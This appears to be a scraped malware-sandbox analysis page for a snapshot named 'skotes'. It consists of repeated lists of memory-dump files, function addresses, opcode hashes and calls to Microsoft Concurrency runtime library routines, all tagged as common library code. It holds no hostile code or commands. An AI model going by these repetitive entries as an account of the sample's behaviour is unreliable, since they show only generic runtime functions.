Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 5a7096168adc5f22ae0f3c16d5e6780d8c336ebce349dd871f84caa4c0a942dd
Instruction ID: 13f544bc458fedc0c94225c6abd7368e89a0c2af0e93a3bd0ca289fbc9f2520a
Opcode Fuzzy Hash: 5a7096168adc5f22ae0f3c16d5e6780d8c336ebce349dd871f84caa4c0a942dd
Instruction Fuzzy Hash: 7801D671600521EFEA29BF64D8C6E6EB76ABF45710F040529F80497613DB28FC2187A1

Function 0073EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0073EE6A
ListArray.LIBCONCRT ref: 0073EE7C

Part of subcall function 0073EF29: _InternalDeleteHelper.LIBCONCRT ref: 0073EF3B

ListArray.LIBCONCRT ref: 0073EE86
_InternalDeleteHelper.LIBCONCRT ref: 0073EE9F

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 83631a82c4dfd617a146d711c76bc02d39cd39cb4132e679653f6e33ec80c9ef
Instruction ID: 437d715d7b0943769af76c439a1f123d32cb845359cdd6d92d89cb6af9648e96
Opcode Fuzzy Hash: 83631a82c4dfd617a146d711c76bc02d39cd39cb4132e679653f6e33ec80c9ef
Instruction Fuzzy Hash: 0101D171240621EFEA25BB64D8C6E6EBB69BF85710F040129F80497693CB6CFC2196E1

Function 0073D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0073D0C5
ListArray.LIBCONCRT ref: 0073D0D7

Part of subcall function 0073C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0073C6C4

ListArray.LIBCONCRT ref: 0073D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0073D0FA

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 8abf7bf60f0b246138102764dc5d0f1462c04c5534ed197191a3563ea71bb04d
Instruction ID: 68d2072ac74634f0c4162e0289f67578eb7d4ef959b7fcd89759c682c4779b59
Opcode Fuzzy Hash: 8abf7bf60f0b246138102764dc5d0f1462c04c5534ed197191a3563ea71bb04d
Instruction Fuzzy Hash: AF012631200521EFEA367B60D8DAD6EB769BF45710F000429F800A7613DF28AC5187D1

Function 007433C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 007433DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 007433EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00743407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0074341F

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 702d084773598fb4fc384445aabc7a226b8082558b72def506b7caad9d00d45d
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: DC01D132700514EBCF16EE688846AEFB7A9AF44350F100015FC1AAB282DB79EE0197A0

Function 00739510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00739519

Part of subcall function 0072F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00735486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0073953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00739550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00739559

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 25e6581feaf7b728d81d853d73f766dab382f44d197881ff238515a792c163f8
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 06F0A771600B209FF662AB548815F6A23949F40711F00841DF66B97283CFBCE882CB81

Function 0072EFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 0072EFD1

Part of subcall function 0072F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0072F989
Part of subcall function 0072F968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 0072F9C0
Part of subcall function 0072F968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 0072F9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0072EFDD

Part of subcall function 0072F40F: Concurrency::critical_section::unlock.LIBCMT ref: 0072F433

Concurrency::Context::Block.LIBCONCRT ref: 0072EFE2

Part of subcall function 00730366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00730368

Concurrency::critical_section::lock.LIBCONCRT ref: 0072F002

Part of subcall function 0072F891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0072F8AC
Part of subcall function 0072F891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 0072F8B7

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
